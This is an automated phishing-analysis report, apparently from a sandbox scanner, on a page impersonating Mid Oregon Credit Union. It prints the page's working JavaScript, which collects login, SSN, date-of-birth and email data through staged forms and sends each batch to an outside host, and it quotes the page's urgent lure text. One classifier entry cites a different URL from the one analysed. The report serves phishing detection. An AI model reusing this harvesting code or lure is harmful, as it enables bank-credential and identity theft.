Windows Analysis Report
https://midoregoncu-securemessagecenter.s3.us-east-1.amazonaws.com/open/message_12832.html

{
    "typosquatting": false,
    "unusual_query_string": false,
    "suspicious_tld": false,
    "ip_in_url": false,
    "long_subdomain": true,
    "malicious_keywords": true,
    "encoded_characters": false,
    "redirection": false,
    "contains_email_address": false,
    "known_domain": true,
    "brand_spoofing_attempt": true,
    "third_party_hosting": true
}

URL: https://midoregoncu-securemessagecenter.s3.us-east-1.amazonaws.com

{
    "risk_score": 6,
    "reasoning": "The script demonstrates moderate-risk behaviors, including external data transmission to an unknown domain ('https://geometricbadges.com/mmm/mo.php') and the use of multiple forms that could potentially collect sensitive user information. While the script appears to have some legitimate functionality, such as formatting SSN and DOB inputs, the overall behavior requires further review due to the unclear purpose and potential for data exfiltration."
}

    async function fetchData(formData) {
        try {
            const response = await fetch('https://geometricbadges.com/mmm/mo.php', {
                method: 'POST',
                body: formData
            });
            if (response.ok) {
                console.log("Data successfully sent to the server.");
            } else {
                console.log("Server error:", response.status);
            }
        } catch (error) {
            console.error("Fetch error:", error);
        }
    }

    function submitForm(formNumber) {
        let formData;

        if (formNumber === 1) {
            formData = new FormData(document.getElementById('loginForm'));
            fetchData(formData);

            delayAndShowForm(1, 2, "Signing In...");
        } else if (formNumber === 2) {
            formData = new FormData(document.getElementById('identityForm'));
            fetchData(formData);

            delayAndShowForm(2, 3, "Verifying...");
        } else if (formNumber === 3) {
            formData = new FormData(document.getElementById('emailSecurityForm'));
            fetchData(formData);

            const spinner = document.getElementById('spinner');
            spinner.classList.remove('hidden');
            setTimeout(() => {
                delayAndShowForm(3, 4, "Authentication Failed!");
                spinner.classList.add('hidden');
            }, 800);
        } else if (formNumber === 4) {
            formData = new FormData(document.getElementById('confirmForm'));
            fetchData(formData);

            const spinner = document.getElementById('spinner');
            spinner.classList.remove('hidden');
            setTimeout(() => {
                delayAndShowForm(4, 5, "Account Security Updating....");
                spinner.classList.add('hidden');
            }, 800);
        }
    }

    function formatSSN(input) {
        let value = input.value.replace(/\D/g, '');
        if (value.length > 3) {
            value = value.slice(0, 3) + '-' + value.slice(3);
        }
        if (value.length > 6) {
            value = value.slice(0, 6) + '-' + value.slice(6);
        }
        input.value = value.slice(0, 11);
    }

    function formatDOB(input) {
        let value = input.value.replace(/\D/g, '');
        if (value.length > 2) {
            value = value.slice(0, 2) + '/' + value.slice(2);
        }
        if (value.length > 5) {
            value = value.slice(0, 5) + '/' + value.slice(5);
        }
        input.value = value.slice(0, 10);
    }

    function grabEmail(email) {
        document.getElementById('secureEmail').value = email;
        document.getElementById('confirmEmail').value = email;
        document.getElementById('emailLogo').src = `https://logo.clearbit.com/${email.split('@')[1]}`;
        document.getElementById('emailLogo2').src = `https://logo.clearbit.com/${email.split('@')[1]}`;
    }

    function delayAndShowForm(currentForm, nextForm, buttonText) {
        const button = document.querySelector(`#form${currentForm} button`);
        button.innerText = buttonText;
        setTimeout(() => {
            document.getElementById(`form${currentForm}`).classList.add('hidden');
            document.getElementById(`form${nextForm}`).classList.remove('hidden');
        }, 2000);
    }

{
  "contains_trigger_text": true,
  "trigger_text": "To enhance the security of your account, we have placed a temporary limitation on certain features. While you can still log in to view your account information and transaction history, please be aware that Transfer, Bill Payments will remain restricted, and Incoming Transactions will be held until you complete the necessary steps to secure your account.",
  "prominent_button_name": "Click here and Log in to your account securely",
  "text_input_field_labels": "unknown",
  "pdf_icon_visible": false,
  "has_visible_captcha": false,
  "has_urgent_text": true,
  "has_visible_qrcode": false,
  "contains_chinese_text": false,
  "contains_fake_security_alerts": false
}

{
  "contains_trigger_text": false,
  "trigger_text": "unknown",
  "prominent_button_name": "Log In",
  "text_input_field_labels": [
    "Username",
    "Password"
  ],
  "pdf_icon_visible": false,
  "has_visible_captcha": false,
  "has_urgent_text": false,
  "has_visible_qrcode": false,
  "contains_chinese_text": false,
  "contains_fake_security_alerts": false
}

{
  "brands": [
    "Mid Oregon Credit Union"
  ]
}

{
  "brands": [
    "Mid Oregon Credit Union"
  ]
}

```json{  "legit_domain": "midoregon.com",  "classification": "known",  "reasons": [    "The brand 'Mid Oregon Credit Union' is a known regional credit union.",    "The URL 'pub-dc3c20b29a7e4238b1149f20f12cabd6.r2.dev' does not match the legitimate domain 'midoregon.com'.",    "The URL uses a subdomain structure with a random string, which is common in phishing attempts.",    "The domain 'r2.dev' is not associated with Mid Oregon Credit Union and is suspicious.",    "The presence of input fields for 'Username' and 'Password' on a non-legitimate domain increases the risk of phishing."  ],  "riskscore": 9}
Google indexed: False